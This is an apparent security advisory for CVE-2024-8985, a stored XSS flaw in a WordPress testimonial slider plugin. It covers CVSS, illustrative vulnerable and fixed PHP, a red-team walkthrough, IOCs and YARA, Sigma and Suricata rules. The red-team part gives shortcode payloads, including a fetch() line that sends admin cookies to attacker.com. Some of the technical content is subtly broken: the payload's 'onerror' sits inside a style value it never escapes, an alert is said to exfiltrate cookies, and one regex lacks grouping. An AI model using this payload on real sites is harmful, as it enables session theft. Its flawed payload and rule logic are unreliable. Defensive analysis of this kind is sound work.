CVE-2024-8985

Executive Summary

CVE-2024-8985 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social Proof (Testimonial) Slider plugin for WordPress, affecting all versions up to and including 2.2.4. The flaw resides in the spslider-block shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

Given the WordPress ecosystem context, this vulnerability is particularly dangerous because contributor-level accounts are often granted to lower-trust users. The lack of a known patch (status: UNKNOWN) means all sites using this plugin are at risk until a fix is released.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites that have installed the Social Proof (Testimonial) Slider plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – the attack is carried out over the network.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – attacker needs contributor-level access.
• User Interaction (UI): None – the victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed – the vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., stealing admin cookies) makes it a serious concern for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the spslider-block shortcode, which is used to display testimonial sliders. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., class, style, or custom data attributes) before rendering them in the HTML output. An attacker with contributor-level access can craft a shortcode like:

[spslider-block class="testimonial-slider" style="background:url('x') onerror='alert(1)'"]

When WordPress processes this shortcode, the malicious onerror event handler is injected into the generated HTML. Because the plugin does not escape the attribute values, the browser interprets the injected JavaScript as legitimate code.

The attack flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a post/page and inserts the malicious shortcode.
3. The shortcode is stored in the WordPress database.
4. When any user (including admins) visits the page, the injected script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.2.4 and earlier):

// In the shortcode handler, attributes are directly echoed without escaping
function spslider_block_shortcode($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
    ), $atts);
    echo '<div class="' . $atts['class'] . '" style="' . $atts['style'] . '">';
    // ... slider content ...
    echo '</div>';
}

Patched Code (hypothetical fix):

function spslider_block_shortcode($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
    ), $atts);
    // Escape attributes before output
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    echo '<div class="' . $class . '" style="' . $style . '">';
    // ... slider content ...
    echo '</div>';
}

The fix uses esc_attr() to sanitize attribute values, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Social Proof (Testimonial) Slider plugin <= 2.2.4
• Contributor-level account credentials

Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [spslider-block class="testimonial-slider" style="background:url('x') onerror='alert(document.cookie)'"]
   

4. Publish the post.
5. Send the post URL to a target (e.g., admin).
6. When the admin views the post, the JavaScript executes, exfiltrating cookies.

Advanced Payload (session hijacking):

[spslider-block class="testimonial-slider" style="background:url('x') onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'"]

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor WordPress logs for shortcode usage by contributor-level users.
2. Scan posts/pages for suspicious shortcode attributes using a regex like:

   \[spslider-block[^\]]*onerror|onload|onclick|javascript:
   

3. Use a Web Application Firewall (WAF) to block requests containing onerror in shortcode attributes.

Lab Setup:

• Install WordPress 6.x on a local server (e.g., XAMPP).
• Install Social Proof (Testimonial) Slider plugin version 2.2.4.
• Create a contributor user and test the exploit.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual Referer headers pointing to pages with spslider-block shortcode.

• Host IOCs:

  • WordPress posts/pages containing shortcodes with onerror, onload, or javascript: in attributes.
  • Unexpected JavaScript in the style attribute of div elements generated by the plugin.

• File IOCs:

  • Modified plugin files (though unlikely, as the vulnerability is in the shortcode handler).

Detection Engineering

YARA Rule

rule CVE_2024_8985_WordPress_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8985"
    strings:
        $shortcode = /\[spslider-block[^\]]*?(onerror|onload|onclick|javascript:)/
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-8985 - Stored XSS via Social Proof Slider Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in WordPress Social Proof Slider plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: GET
        http.url|contains: 
            - "spslider-block"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8985 - Stored XSS via Social Proof Slider Shortcode"; flow:to_server,established; content:"spslider-block"; http_uri; pcre:"/(onerror|onload|onclick|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level accounts to only trusted users.
3. Use a WAF to block XSS payloads in shortcode attributes.

Long-term Fix:

• The vendor must release a patched version that uses esc_attr() or wp_kses() to sanitize shortcode attributes.
• Alternatively, replace the plugin with a secure alternative.

Workaround:

• Add a custom filter to sanitize shortcode output:

add_shortcode('spslider-block', function($atts) {
    $atts = shortcode_atts(array('class' => '', 'style' => ''), $atts);
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    return '<div class="' . $class . '" style="' . $style . '">...</div>';
});

Valters IT